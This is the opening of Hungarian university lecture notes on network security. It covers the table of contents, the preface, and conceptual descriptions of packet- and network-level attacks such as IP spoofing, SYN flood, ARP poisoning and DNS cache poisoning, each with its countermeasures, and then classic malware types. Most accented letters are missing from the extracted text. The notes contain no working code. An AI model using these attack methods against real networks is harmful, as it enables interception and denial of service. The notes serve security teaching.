You are on page 1of 165

Dr.

Lencse Gbor Hlzatok biztonsga


(NGB_TA028_1)
v. 0.311
2008. 04. 15.

Hallgatimnak: Krem, hogy a javtottnak megjellt anyagot mindig nyomtassk ki s hozzk magukkal az eladsokra. gy az eladson krmls helyett figyelhetnek, viszont a tovbbi magyarzatokat s az esetleges hibajavtsokat bele tudjk rni az anyagba. A jegyzetet els krben trtn javtst befejeztem 2008. 04. 15-n. Most mr vgig kinyomtathatjk! J tanulst!

A jegyzet a

Szchenyi Istvn Egyetem Tvkzlsi Tanszk Hlzatok Biztonsga


cm trgy jegyzeteknt jtt ltre.

Szerzk: Jns Zsolt, Dr. Lencse Gbor Pnczl Zoltn URL: http://www.tilb.sze.hu/

Jelen kiadvny szabadon msolhat s terjeszthet vltozatlan formban a Szchenyi Istvn Egyetem tvkzls-informatika szakirnyos villamosmrnk hallgati krben.

Tartalomjegyzk
Elsz 1. Bevezet....................................................................................................1 1.1. Hlzati tmadsok alapgondolatai...................................................1 1.1.1. Passzv tmads......................................................................... 2 1.1.2. Aktv tmadsok........................................................................3 1.2. Csomag szint tmadsok................................................................. 5 1.2.1. IP spoofing.................................................................................5 1.2.2. Smurf......................................................................................... 7 1.2.3. SYN flood..................................................................................8 1.2.4. Xmas, Ymas............................................................................ 10 1.3. Hlzati szint tmadsok.............................................................. 11 1.3.1. Switch-ek elleni tmads.........................................................11 1.3.2. ARP poisoning........................................................................ 11 1.3.3. ICMP redirect.......................................................................... 12 1.3.4. RIP tvolsgvektor hamistsa................................................ 12 1.3.5. Source route IP opci.............................................................. 13 1.3.6. DNS (cache) ellen val tmads..............................................13 1.4. Social engineering tpus tmadsok.............................................. 15 1.4.1. DNS tregisztrci...................................................................15 1.4.2. Jelsz megkrdezse................................................................15 1.4.3. Gyenge jelszavak..................................................................... 16 2. Rosszindulat programok jellemrajza.................................................... 17 2.1. Klasszikus rosszindulat programok...............................................17 2.1.1. Vrus........................................................................................ 17 2.1.2. Freg worm...........................................................................18 I

2.1.3. Trjai fal (trjai program) Trojan horse............................. 19 2.1.4. Rejtekajt (csapajt, hts ajt, kiskapu) back door, trap door....................................................................................................19 2.1.5. Bomba..................................................................................... 20 2.2. sszetett fenyegetsek.................................................................... 20 2.2.1. Zero day gap............................................................................ 21 2.3. Emberi tnyezk..............................................................................22 2.3.1. Lnclevl, piramisjtk, hoax, e-mail vrus......................... 23 2.3.2. Adathalszat (phising)............................................................. 24 3. Kriptogrfiai bevezet............................................................................ 27 3.1. Alapfogalmak.................................................................................. 28 3.2. Titkos kulcs blokkrejtjelezk........................................................ 32 3.2.1. DES......................................................................................... 33 3.2.2. Triple-DES.............................................................................. 35 3.2.3. AES (Rijndael)........................................................................ 37 3.3. Kulcsmenedzsment......................................................................... 38 3.3.1. Kulcsgenerls.........................................................................39 3.3.2. Kulcstrols, tovbbts...........................................................40 3.4. Nyilvnos kulcs titkosts............................................................. 41 3.4.1. RSA......................................................................................... 44 3.4.2. DSA......................................................................................... 47 3.5. Kriptogrfiai hash fggvnyek........................................................ 47 3.5.1. MD5.........................................................................................48 3.5.2. SHA......................................................................................... 49 3.5.3. Szletsnap paradoxon............................................................ 50 3.6. Alapvet kriptogrfiai protokollok................................................. 51

II

3.6.1. Blokkrejtjelezsi mdok..........................................................51 3.6.2. zenethitelests......................................................................56 3.6.3. Digitlis alrs........................................................................58 3.6.4. Kulcscsere protokollok............................................................61 3.6.5. Partnerhitelests..................................................................... 64 3.7. Nyilvnos kulcs infrastruktra...................................................... 66 4. Biztonsgos kommunikci.................................................................... 71 4.1. SSL/TLS infrastruktra s alkalmazsai......................................... 73 4.1.1. SSL/TLS, OpenSSL.................................................................73 4.1.2. OpenSSH................................................................................. 73 4.1.3. Az s vg protokollok............................................................. 74 4.2. VPN.................................................................................................75 4.2.1. A VPN rtelmezse................................................................. 75 4.2.2. Az IPsec protokollcsald......................................................... 77 4.2.3. FreeS/WAN s Openswan....................................................... 80 4.3. PGP................................................................................................. 80 4.3.1. A digitlis bortk alapelve......................................................80 4.3.2. A PGP kulcsgondozsa........................................................... 81 4.3.3. PGP a gyakorlatban................................................................. 81 5. Tzfalak.................................................................................................. 83 5.1. Alapok............................................................................................. 84 5.1.1. A tzfalak fejldse, fajti.......................................................84 5.1.2. Alapfogalmak.......................................................................... 88 5.2. NetFilter / IPTables......................................................................... 89 5.3. Zorp................................................................................................. 91 5.3.1. ltalnos jellemzk................................................................. 92 5.3.2. Architektra.............................................................................93 III

5.3.3. A forgalom engedlyezsnek lersa..................................... 95 5.3.4. A rendszer konfigurlsa......................................................... 96 6. Linux szerverek biztonsgi krdsei....................................................... 97 6.1. A /etc/passwd fjl............................................................................ 97 6.2. Az inetd szuperszerver.................................................................... 98 6.3. Szolgltatsok feldertse................................................................99 6.4. Egy biztonsgos Linux szerver kialaktsa................................... 100 6.4.1. Partcik kiosztsa................................................................. 100 6.4.2. Fejleszti krnyezet hinya................................................... 102 6.4.3. Szolgltatsok s interaktv szerverek kln.........................103 6.4.4. Kln napl (log) szerver...................................................... 103 6.4.5. Kernelfordts........................................................................ 106 6.4.6. Frisstsek.............................................................................. 107 6.4.7. Mentsek............................................................................... 108 6.4.8. Dokumentci....................................................................... 108 6.4.9. Tovbbi mdszerek, gyeskedsek....................................... 109 6.5. User-mode Linux.......................................................................... 110 6.5.1. Mi a User-mode Linux?........................................................ 110 6.5.2. A User-mode Linux teleptse...............................................111 6.5.3. A User-mode Linux biztonsgi cl hasznlata.................... 113 7. LDAP cmtr.........................................................................................115 8. Biztonsgi rsek kihasznlsa...............................................................117 8.1. Jelszavak helyes megvlasztsa, sztras trs.............................117 8.2. Mirt nem szabad vakon bzni a titkostott kapcsolatokban?....... 119 8.3. UNIX vagy Linux szerver adminisztrlsi hibibl add betrsek. 121

IV

8.3.1. Tvolrl kihasznlhat hibk................................................ 121 8.3.2. Helyi biztonsgi krdsek......................................................123 8.4. Programozi hibk........................................................................ 125 8.4.1. Krnyezeti vltoz hibs hasznlata..................................... 125 8.4.2. A /tmp knyvtr hibs hasznlata: symlink attack................ 126 8.4.3. Puffer tlcsordulson alapul tmads: buffer overflow attack.. 126 8.4.4. A C nyelv hibs kirson alapul tmads: format string attack............................................................................................... 128 8.5. Webes biztonsgi rsek................................................................. 129 8.5.1. Fjlnv hasznlatban ered biztonsgi rsek....................... 131 8.5.2. Sajt script futtatsa...............................................................133 9. Behatols szlels, megelzs.............................................................. 137 9.1. Behatols szlelse s kezelse..................................................... 137 9.1.1. Naplk rendszeres figyelse.................................................. 137 9.1.2. Betrs gyanja esetn.......................................................... 138 9.1.3. A helyrellts s a kvetkezmnyek felszmolsa............... 139 9.2. Automatikus behatols szlels.....................................................140 9.2.1. A Snort program.................................................................... 141 9.2.2. A LIDS kernel patch..............................................................142 9.2.3. Honeypot az ellensg megtvesztse..................................143 9.2.4. Tovbbi forrsok IDS tmban..............................................144 9.3. Behatols megelzs..................................................................... 146 10. Irodalomjegyzk..................................................................................149 11. Ksznetnyilvnts............................................................................151

brajegyzk
1. bra: passzv tmads................................................................................2 2. bra: aktv tmads................................................................................... 2 3. bra: blind spoofing.................................................................................. 4 4. bra: RST tmads.................................................................................... 4 5. bra: smurf tmads.................................................................................. 5 6. bra: TCP kapcsolat felptse..................................................................6 7. bra: IP spoofing ICMP redirect tmogatssal..........................................8 8. bra: privt IP-cm hlzat elleni tmads source routing segtsgvel. 8 9. bra: DNS (cache) elleni tmads.............................................................9 10. bra: A rejtjelezs modellje.................................................................. 18 11. bra: A 3DES EDE konfigurciban.................................................... 23 12. bra: kdols s dekdols CFB mdban............................................. 32 13. bra: kdols OFB mdban.................................................................. 33 14. bra: Kdols CTR mdban................................................................. 33 15. bra: digitlis alrs ksztse s ellenrzse ..................................... 36 16. bra: SSL kapcsolat...............................................................................43 17. bra: VPN............................................................................................. 44 18. bra: Tzfalak fejldse........................................................................52 19. bra NIDS, HIDS elhelyezkedse megrajzolni!.................................76

Elsz
Ez a jegyzet a Szchenyi Istvn Egyetem Tvkzlsi Tanszkn a villamosmrnki BSc kpzsben a tvkzls-informatika szakirny szmra ktelez Hlzatok biztonsga trgy eladsainak anyagt tartalmazza, de a trgy anyagnak rsze a laborgyakorlatok anyagai is! A jegyzetben formlisan ptnk az eltanulmnyi kvetelmnyknt nem szerepl szerepl de a Szmtgp-hlzatok trgybl megszerzett ismeretekre, valamint a eltanulmnyi kvetelmnyknt mintatantervben a trgyat megelz flvben szerepl Hlzati opercis rendszerek trgy els flvi anyagnak elmlylt ismeretre, tovbb a Protokollok programozsa s szoftverek s Kommunikcis alapvet rendszerek Akinek trgyak anyagnak ismeretre.

hinyossgai vannak, ideje elkezdenie a ptlst... A trgy s a jegyzet clja nem az, hogy hlzati biztonsgtechnikai szakembereket kpezznk, (ehhez a rendelkezsre ll raszm messze nem elegend) hanem az, hogy egy szemlletmdot adjunk a hallgatknak, hogy rzkenny vljanak a biztonsgi krdsekre, s a klnbz terletek alapfogalmait s alapvet biztonsgi krdseit megismerjk. Egyben segtsget is kvnunk nyjtani abban, hogy aki valamely trgyalt terleten fog dolgozni, legyen fogalma arrl, hogy merre induljon el, s mit kell mg nllan megtanulnia. Mind az eladsok, mind a gyakorlatok anyagban szerepelnek olyan tmakrk (pldul user-mode Linux, levelezs vrusvdelme, stb.), amelyek akr a Hlzati opercis rendszerek trgyba is bekerlhettek volna.

A jegyzetben bsgesen szerepelnek hivatkozsok, ezek dnt tbbsge webes hivatkozs1, gy az rdekld hallgatknak lehetsge van az egyes tmakrk mlyebb megismersre. Ezt mindenkinek javasoljuk! Ezt a jegyzetet nhny vig elektronikusan (pdf formtumban) tervezzk kzztenni a trgy hallgati szmra. Ilyen mdon vrl vre tudjuk fejleszteni. Szvesen vesszk az szrevteleket, hibajavtsokat, javaslatokat tovbbi tmakrk feldolgozsra. Ez a jegyzet eredetileg 2005-ben kszlt, 2008-ban komolyabb revzi al vesszk, ezrt clszer csak a javtott rszeket kinyomtatni! Eredmnyes tanulst! Lencse Gbor

1. Ezek idvel elavultakk vlhatnak, az rvnytelen hivatkozsok bejelentst ksznettel vesszk!

Bevezet

1. Bevezet
Az internet protokollkszlet kidolgozsakor ezeket a protokollokat jhiszem felhasznlsra terveztk. Az volt a cljuk, hogy egyszeren s hatkonyan oldjk meg a kvnt feladatot. Hlzati alkalmazsaink nagyon jl mkdnek, amg valaki nem kvn visszalni velk (pl. ellopni msnak a jelszavt, kretlen leveleket kldeni, megbntani egy kiszolglt, stb.) A jegyzetben megvizsgljuk, hogy milyen biztonsgi kihvsokkal kell szembenznnk a hlzati kommunikci kapcsn, milyen hlzati tmadsoktl kell vdennk a rendszernket. Megismerjk a kriptogrfia legfontosabb alapfogalmait s megoldsait. Foglalkozunk a biztonsgos tvitel lehetsgeivel, rendszereink hatrvdelmvel, betekintnk a behatols szlels s megelzs mdszereibe. Rszletesen trgyaljuk egy UNIX rendszer adminisztrlsnak biztonsgi krdseit, s megismerkednk nhny konkrt tmads megvalstsval is.

1.1.

Hlzati tmadsok alapgondolatai

Mi a tmadsoknak a motivcija? Ez sokrt lehet. A hlzaton keresztl rzkeny informci utazhat, pl. szemlyes, zleti, katonai, stb. adatok, brmi, amit a tulajdonosa nem kvn nyilvnossgra hozni. Ennek megszerzse az illetktelen szmra hasznos lehet, vagy pusztn krt, kellemetlensget okozhat vele. A hlzaton keresztl elrhet szolgltatsokhoz val illetktelen hozzfrs (pl. nyomtatni, filmeket letlteni) is csbt lehetsg nmelyek szmra. St, a cl lehet olyan

Hlzatok biztonsga

krokozs is, mint szolgltatsok megbntsa. Hlzaton keresztl trtn tmads irnyulhat valamely rendszer feltrsre, rosszindulat program(ok) bejuttatsra is... Ebben a fejezetben csak a hlzati kommunikcival kapcsolatos tmadsokkal foglalkozunk. 1.1.1. Passzv tmads

Az rzkeny informci megszerzsre irnyul hlzati tmads a lehallgats (evesdropping, wiretapping), amit passzv tmadsi formnak neveznk, mert vgrehajtsa sorn a tmad nem mdostja az tviteli csatorna tartalmt. A B

C
1. bra: passzv tmads

A lehallgats megvalstsra a gyakorlatban sokfle mdszert hasznlnak. Osztott kzegen val kommunikci esetn elegend egy vevt elhelyezni. Pldul Ethernet hlzatoknl 10Base2 s 10Base5 esetn mindig, valamint 10BaseT, 100BaseTX s 1000BaseT-nl hub alkalmazsa esetn az adott szegmens hlzati krtyinak mindegyikhez eljut az informci, de azok norml mkds sorn az zenetszrs s tbbesklds kivtelvel kizrlag azokat a kereteket veszik, amelynl a clcm megegyezik a krtya

Bevezet

sajt MAC cmvel. Ha a krtyt a tmad tkapcsolja olyan mdba, hogy minden keretet levegyen, akkor mris rendelkezsre ll a kvnt informci. A tmads WLAN-ok esetn mg veszlyesebb, hiszen a tmadnak nem is kell engedlyezett mdon jelen lennie a hlzatban. Brelt vonal hasznlata hamis biztonsgrzetet nyjthat, ennek gyakorlati megvalstsa sorn a szolgltatk gyakran egy kzs IP gerinchlzatot hasznlnak; megtrtnt mr olyan, hogy az tvonalvlaszts hibja miatt az egyes elfizetkhz idegen IP datagrammok kerltek. Bizonyos esetekben a lehallgats vgrehajtsa eltt a tmadk aktv mdszereket is hasznlnak, pldul egy Ethernet switch-et nagy mennyisg (hamis) MAC cmmel elrasztva elrik, hogy az ne legyen kpes a cmeket trolni, ezrt hub-knt mkdve minden keretet minden portjra tovbbtson. Egy szmtgpet be lehet csapni egy routing redirect ICMP zenettel illetve egy RIP-es routert egy hamis tvolsgvektorral... stb. (Ezekkel majd ksbb foglalkozunk.) 1.1.2. Aktv tmadsok

A passzv tmadsokkal szemben az aktv tmads jellemzje, hogy a tmad maga is forgalmaz csatornn. A B

C
2. bra: aktv tmads

Hlzatok biztonsga

Ennek tbb mdja lehet: az zenetmdosts azt jelenti, hogy a kommunikciban rszt vev felek kz bekeldve elfogja az ad zeneteit s a vevnek mst tartalm zenetet kld. Egy msik forma a megszemlyests, amikor a tmad ms nevben kld (vagy fogad) zenetet. Ilyen tmads pldul, ha rlogin-nal val belps rdekben valaki a sajt gpnek IP cmt tlltja olyan cmre, ahonnan a megtmadott gp jelsz nlkl beenged. Visszajtszsnak nevezzk, ha a tmad a kommunikciban rszt vev egyik fl lehallgatott zenett mdosts nlkl jra elkldi a msik flnek. Kpzeljk el, hogy a tmad a bankjegy kiad automata forgalmt lehallgatva jra elkldi a bankkrtya szmt, a PIN kdot s a krt sszeget a bank fel, majd felveszi a pnzt. (Termszetesen a gyakorlatban alkalmazott protokollok tartalmaznak visszajtszs elleni vdelmet.) A szolgltats megtagads (DoS denial of service) tpus tmadsok kzs jellemzje, hogy a megtmadott kiszolglt hamis krsekkel rasztjk el, ezzel kimertik az erforrsait s gy a valdi krsekre nem tud vlaszolni. Nzznk meg most nhny konkrt tmadst, amelyek a jelenlegi internet architektrj hlzataink ellen irnyulhatnak!

Bevezet

1.2.
1.2.1.

Csomag szint tmadsok


IP spoofing

http://www.networkcommand.com/docs/ipspoof.txt (Mr nem l a link!) Az IP cm hamistsa nmagban mg nem tmads, de tbb tmadsnak is rsze. Clja lehet pldul egy csupn IP cmmel azonostott trusted host megszemlyestse. Ha pldul a Berkeley r* parancsokkal A gpre a B gprl jelsz megadsa nlkl lphetnk be, akkor a C tmad a B gpnek adja ki magt. A hamis IP cm hasznlata nmagban nem okoz nagy nehzsget, viszont a tmads sikerhez szksg van mg nhny dologra. Ha C blind spoofing-ot jtszik, akkor ez a kvetkez kett:

DoS tmads az igazi B ellen, hogy az A zeneteire ne tudjon vlaszolni.

ISN prediction: ki kell tallnia, hogy az A gp milyen kezdeti sorszmot (initial sequence number) vlaszt (mert az A zeneteit nem ltja s mgis tudnia kell vlaszolni). A vlaszol

B nevben C

DOS tmads, hogy B ne vlaszoljon A-nak

3. bra: blind spoofing

Hlzatok biztonsga

A blind spoofing miatt a tmad relis clja csak annyi, hogy egy kiskaput hagyjon maga utn, amin keresztl mr egyszeren be tud jutni. (Jelen esetben pl. elg, ha a megtmadott felhasznl .rhosts fjljt bvti egy sorral...) De ha a tmad clja nem az, hogy valamihez hozzfrjen, hanem csak annyi, hogy mst akadlyozzon, akkor az IP cm hamistst mg egyszerbben is hasznlhatja. Tegyk fel, hogy az A s B kztt fennll egy TCP kapcsolat, amit C szeretne lelni. Ehhez a C tmad B-t megszemlyestve (azaz forrs IP cmknt B IP cmt belltva) kld az Anak egy olyan TCP adategysget, ahol a RST bit be van lltva. A tmads sikeressghez nem kell pontosan eltallnia a sorszmot, elg, ha a receiving windown bell van. (Ezt pldul knnyedn elrheti, ha kpes lehallgatni az A s B kommunikcijt.) A B B nevben RST C
4. bra: RST tmads

Mg ennl is egyszerbb, ha a C tmad B nevben indt kzismert tmadst (akr csak egy portscant) A ellen. Ha ennek hatsra az A gpet vd tzfal B-t kitiltja, C mris elrte a cljt.

Bevezet

Vdekezs: az IP spoofing ellen tzfalak azzal vdekezhetnek, hogy bizonyos forrs IP cmeket csak bizonyos irnybl fogadnak el. Az ISN kitallsa ellen is lehet vdekezni, ha nem csupn az idvel s a kapcsolatok szmval n az ISN, hanem trkksebben vlasztjk meg (pl. vletlen szm hozzadsval). 1.2.2. Smurf

http://www.cert.org/advisories/CA-1998-01.html A Smurf egy a DoS csaldba tartoz tmads. A megtmadott gp (ldozat victim) nevben ICMP echo request zenetet kld egy irnytott IP broadcast cmre. (Pl. a 10.0.0.0/8 hlzat esetben a 10.255.255.255 cmre.) Az zenetet vev gpeket hvjk kzvettknek (intermediary). Vlaszukkal teletmik az ldozat gp hlzatt, de a sajtjukat is, gy k maguk is ldozatok.
szok vla

ldozat

kzvettk

IP broadcast az ldozat nevben tmad


5. bra: smurf tmads

Hlzatok biztonsga

Vdekezs: a routerek IP broadcast-ot ne engedjenek t, IP broadcast cmre kldtt ICMP echo request-re a gpeink ne vlaszoljanak! 1.2.3. SYN flood

Egy klasszikus DoS tmads. Megrtshez idzzk fel a TCP kapcsolat felptsekor hasznlt 3 utas kzfogst: 1. Az A egy SYN csomagot kld B-nek, melyben van egy belltott seq_noA s lefoglal egy kapcsolat struktrt, amiben a TCP kapcsolat adatait trolja, valamint puffert is foglal az tvitelhez. 2. B egy SYNACK csomagot kld A-nak, melyben megtallhat az ack_noB=seq_noA+1 s a belltott seq_noB, valamint B is lefoglal egy kapcsolat struktrt, amiben a TCP kapcsolat adatait trolja, valamint puffert is foglal az tvitelhez. 3. A egy ACK csomagot kld B-nek, melyben: ack_noA=seq_noB+1

Bevezet A SYN seq_noA SYNACK seq_noB ack_noB=seq_noA+1 ACK ack_noA=seq_noB+1


6. bra: TCP kapcsolat felptse

9 B

Ha a rosszindulat C tmad az A nevben nagy mennyisg SYN csomagot kld B-nek (a vlaszokat pedig C termszetesen meg sem kapja), akkor ezzel kimerti B erforrsait s az nem lesz kpes fogadni a valdi krseket. Vdekezni lehet pldul mikro blokkok hasznlatval: a szabvnyos adatstruktrnl lnyegesen kisebb helyet foglalunk le, s ha a kapcsolatkrs valdinak bizonyul (jn a kzfogs 3. lpse), csak akkor foglaljuk le a szksges erforrsokat. Ez persze csak egy konstans faktorral javt a helyzetnkn (mondjuk 10x annyi tmad csomagot brunk el). A tmadsra egy jobb (de veszlyes) vdekezs a syn cookie hasznlata. Ennek lnyege, hogy a SYN hatsra egyltaln nem foglalunk erforrst,

10

Hlzatok biztonsga

hanem a sajt sorszmunkat (seq_no) trkks mdon a hozznk intzett krs adataibl (IP, port, stb.) egy hash fggvnnyel szmtjuk ki. Amikor megjn a kzfogs 3. lpse, akkor jra kiszmtjuk a csomag adataibl a seq_no-t s ha az ack_no annl 1-gyel nagyobb, akkor elfogadjuk, klnben elvetjk. Ezzel a trkkel megtakartottuk az erforrs foglalst, viszont rendkvl sebezhetv vltunk: ha a tmad tudja, hogy a syn cookie nlunk be van kapcsolva (pl. erre megprbl egy SYN flood-dal rvenni bennnket) akkor kpes egyetlen egy megfelelen elksztett (a 3 utas kzfogs 3. csomagjnak ltsz) csomaggal egy TCP kapcsolatot rnk erltetni! 1.2.4. Xmas, Ymas

http://www.clavister.com/support/kb/10033/ A TCP fejrszben az URG bittl balra lev kt bitrl (CWR s ECE) van sz. Ezeket az RFC 3168 szerint az ECN (Explicit Congestion Notification) mechanizmus cljra osztottk ki (az IP fejrsz rgi Type of Service mezjnek utols kt, eredetileg rgztetten 0 rtk bitjvel egytt)1. A korbbi TCP implementcik azt vrjk el, hogy ez a 2 bit 0 rtk legyen. A bitek 0-tl klnbz rtkre lltsval s a TCP implementci viselkedsnek megfigyelsvel a tmad informcit szerezhet a TCP/IP protocol stack implementcijrl.

1. Az IANA (Internet Assigned Numbers Authority) 2003. mjusban mg a TCP szegmensben a CWR s ECE bitektl balra ll, addig kihasznlatlan bitet is hozzvette egy NS (Nonce Sum) elnevezssel (RFC 3540).

Bevezet

11

1.3.
1.3.1.

Hlzati szint tmadsok


Switch-ek elleni tmads

A swtichek norml mkds sorn a kereteket csak arra a portjukra tovbbtjk, ahol a cmzett tallhat. Az egyes portokhoz a MAC cmeket a rendszergazda statikusan is bellthatja, de ez munkaignyes, radsul konfigurci vltozsnl t kell vezetni (pl. ha kt gp portot cserl, vagy ha valakinek a gpbe msik hlkrtya kerl). Ezrt aztn ltalban ntanul mdban szoktk az eszkzt hasznlni, ami ilyenkor megjegyzi, hogy az egyes MAC cmekkel forrscmknt melyik portjn tallkozott. Ha a tmad kellen sok klnbz MAC cmmel forgalmaz, akkor a switch tblzata megtelik, s a mkds fenntartsa rdekben minden keretet minden portjra kikld (fail open). Ezzel a forgalom lehallgathatv vlik. 1.3.2. ARP poisoning

http://www.watchguard.com/infocenter/editorial/135324.asp Az adott IP cmhez tartoz MAC cm kidertsnek egyszer s hatkony mdja az ARP. (Felttelezzk, hogy a hallgatk emlkeznek a mkdsre.) A tmad kretlen s hamis ARP vlaszokat kld, amelyben a krdses IP cmhez a sajt MAC cmt tnteti fel. A hlzaton lev gpek mr vagy kapsbl elfogadjk s eltroljk a hamis informcit (ARP cache), vagy elbb-utbb jn egy ARP krs, s akkor a tmadnak eslye van, hogy elbb vlaszoljon, mint az IP cm valdi birtokosa.

12 1.3.3. ICMP redirect

Hlzatok biztonsga

Az ICMP redirect zenettel egy router egy szmtgp szmra egy jobb tvonalat tud megadni. A tmad ezzel maga fel tudja irnytani a megtmadott gp forgalmt. Ezt tbbfle clra is hasznlhatja, pldul:

lehallgats: ilyenkor a csomagokat gondosan tovbbkldi a cmzettnek, hogy a tmads szrevtlen maradjon.

IP spoofing tmogatsa: a korbban ismertetett felllsban C az A fel B-nek adja ki magt, de most nem kell vakon dolgoznia: a redirect-tel elrte, hogy az A vlaszai hozz rkezzenek, a TCP kapcsolat tnylegesen felpl.

A 1. ICMP redirect 3. C

B 2. SYN a B nevben 3. A vlaszt B-nek sznja, de C kapja meg

7. bra: IP spoofing ICMP redirect tmogatssal

Vdekezs: accept_redirects kikapcsolsa. 1.3.4. RIP tvolsgvektor hamistsa

Mivel a RIP nem hasznl autentikcit, a tmad szmtgpe hamis tvolsgvektorral becsaphatja a routereket azt lltva, hogy rajta keresztl rvidebb t vezet a cl fel. OSPF, BGP esetn van lehetsg autentikcira, de sokszor nincs bekapcsolva.

Bevezet 1.3.5. Source route IP opci

13

A source route IP opcival a forrs megadhatja, hogy adott IP cm lloms fel mely routereken keresztl haladjon a csomag. A tmad ezt privt IP cm hlzatok elrsre kpes felhasznlni a kvetkez mdon: a C tmad az R1 routernek megmondja, hogy az R2 routeren keresztl kell a csomagot kldenie, ahol R2 egy privt IP cmmel rendelkez hlzat gateway-e, amely a datagrammot mr a cl IP cm alapjn kldi a cmzettnek. A visszat trivilis, mivel a tmad publikus IP cmmel rendelkezik. Vdekezni accept_source_route kikapcsolsval lehet.

10.1.0.0/24 R2 R1 C source route: R2, 10.1.0.2 10.1.0.2

8. bra: privt IP-cm hlzat elleni tmads source routing segtsgvel

1.3.6.

DNS (cache) ellen val tmads

A tmadst egy pldn mutatjuk be. Tekintsnk egy bankot (Mybank) s egy internet szolgltatt (Myisp). Norml mkds esetn amikor az internet szolgltat gyfelei el akarjk rni a bank honlapjt, megkrdezik az internet szolgltat nvkiszolgljtl (ns.myisp.com), mi a bank

14

Hlzatok biztonsga

honlapjnak (www.mybank.com) IP cme. A nvkiszolgl kapcsolatba lp egy legfels szint nvkiszolglval, s (esetleg tbb tttel utn) kiderti a bank nvkiszolgljnak (ns.mybank.com) IP cmt, ahonnan megtudja a bank honlapjhoz tartoz IP cmet, amit elkld banki honlapot elrni kvn gyflnek. Root DNS szerver 2 4 ns.mybank.com 5 ns.myisp.com 6 1 Nvfelolds krs a www.mybank.com 1 2 cmre C Vlasz a sajt krsemre
9. bra: DNS (cache) elleni tmads

tmad

elre

lemsolja

megtmadott

bank

honlapjt

(www.mybank.com) egy sajt szerverre, majd az jszaka leple alatt, amikor lejr az ns.myisp.com ltal trolt www.mybank.com TTL ideje, megkrdezi ns.myisp.com-tl, hogy mi a www.mybank.com IP cme, s azonnal vlaszol is neki, amiben a www.mybank.com IP cmeknt a sajt szervernek az IP cmt adja meg kellen hossz lejrati idvel. Ezt az ns.myisp.com gyantlanul elfogadja, s amikor megkapja a valsgnak

Bevezet

15

megfelel vlaszt, azt mr eldobja. Msnap reggel a Myisp gyfelei a hamis IP cm alapjn a tmad weboldalhoz fognak csatlakozni. Ha vannak is nyilvnos kulcs titkostson alapul tanstvnyok, a felhasznlk jelents rsze el fogja fogadni a hamis tanstvnyokat (ez mr social engineering kategria) s megadja a banki azonostit...

1.4.

Social engineering tpus tmadsok

Ezek a tmadsok nem mszaki jellegek, hanem emberek becsapsn alapulnak. Lssunk nhnyat! 1.4.1. DNS tregisztrci

A tmad kiderti, hogy a megtmadni kvnt cg domain nevt melyik regisztrtor jegyezte be, majd a megtmadott cg fejlces levlpaprjn kld egy tregisztrlsi krelmet, ahol a tmad a sajt IP cmt (cmtartomnyt) adja meg. Komoly eslye van, hogy mg a FAX szmot sem ellenrzik, st a tmads akr mg telefonon vagy e-mailben is sikeres lehet. 1.4.2. Jelsz megkrdezse

A tmad valamilyen rggyel telefonon megkrdezi az ldozat jelszavt. (Pldul: valamit ellenrizni kell, beteg a rendszergazda, stb.)

16 1.4.3. Gyenge jelszavak

Hlzatok biztonsga

A felhasznlk jelents rsze eleve gyenge jelszt hasznl. (Pldul: tl rvid, sztri sz, sajt magra vagy a krnyezetre jellemz informci stb.) Ezeket prblkozs tjn hamar ki lehet tallni.

Rosszindulat programok jellemrajza

17

2. Rosszindulat programok jellemrajza

2.1.
2.1.1.

Klasszikus rosszindulat programok


Vrus

Hasonlan az l szervezeteket megfertz vrusokhoz, a szmtgpes vrusok nll letre kptelen programrszletek. A fertzs tipikus mdja az, hogy a megtmadott program vghez fzik hozz a sajt kdjukat, s a program elejn pedig egy (nhny) utastst kicserlnek olyan ugr utastsra, amely a vrus kdjra fog ugrani. Amikor a megfertztt programot elindtjk, az ugr utasts segtsgvel a vezrls a vrus kdjra kerl. A vrusnak lehetsge van gondoskodni a sajt terjedsrl (jabb programok megfertzse) valamint krt is okozhat. A rejtzkds rdekben clszeren hamarosan helyre kell lltania a mdostott programkdot s a vezrlst vissza kell adnia az eredeti programra. Lehetsg szerint a memriban maradva ksbb is foglalkozhat a terjedssel s a krokozssal. Korbban a vrusok szmtgpes programokat szoktak megfertzni, ma mr vannak n. makrovrusok, amelyek pl. MS word dokumentumokat fertznek meg. De kszlhetnek valamilyen interpretlt nyelven is pl. Visual Basic. Br a vrusok legnagyobb szmban Intel kompatibilis processzorokon Microsoft opercis rendszerek alatt terjednek, vannak Linuxra is. St! Nem Intel platformos UNIX-okra is rtak/rnak vrusokat.

18

Hlzatok biztonsga

Mivel a vrus csak akkor mkdkpes, ha a megfertztt programot elindtjuk, a vrusokkal szemben egyik legjobb vdekezs, ha nem futtatunk nem megbzhat forrsbl szrmaz programokat, illetve clszer valamilyen vruskerest hasznlni. A vruskereskkel megvizsglhatunk valamely adathordozt, hogy van-e rajta vrus, illetve a vruskerest llandan aktvan tartva kpes az opercis rendszer ltal elrt llomnyokat az elrskor ellenrizni. Termszetesen a vruskeres csak az ismert vrusokat tallja meg, adatbzist minl gyakrabban frissteni kell. Ismertek mg n. boot sector vrusok is amelyek a megfertztt meghajtrl val rendszerindtskor lphetnek mkdsbe. (Clszer ha PC-nk BIOS belltsban eleve kizrjuk a floppy-rl val rendszerindtst.) 2.1.2. Freg worm

http://www.iif.hu/dokumentumok/niif_fuzetek/szotar/i.html A vrusokkal ellenttben a freg nllan kpes mkdni s szaporodni. Krokozsa abban ll, hogy (sok pldnyban elindtva magt) felemszti a szmtgp erforrsait. A leghresebb freg az Internet worm 1988-ban egy amerikai dik ltal rt s "vletlenl" elszabadult program, mely rvid id alatt sok internetes szervert bntott meg azzal, hogy rengeteg pldnyban msolta le s futtatta nmagt, mg vgl (szintn az Internet segtsgvel) sikerlt lokalizlni s kiirtani.

Rosszindulat programok jellemrajza 2.1.3. Trjai fal (trjai program) Trojan horse

19

http://www.faqs.org/docs/jargon/T/Trojan-horse.html rdekesnek s hasznosnak ltsz program, amit a gyantlan felhasznl letlt s feltelept a szmtgpre (mint annak idejn Trja vdi bevonszoltk a falovat s benne a grgket a vrosukba). Persze a programnak van a felhasznl szmra nem hirdetett funkcija is... Itt btran elereszthetjk a fantzinkat, hogy a fjlrendszerben hoz-e ltre hibkat, a modemes behvsunkat megszaktva emelt djas szmon hoz-e ltre internet kapcsolatot, vagy elkldi-e a BSA-nak a gpnkre felteleptett programok listjt, stb. 2.1.4. Rejtekajt (csapajt, hts ajt, kiskapu) back door, trap door

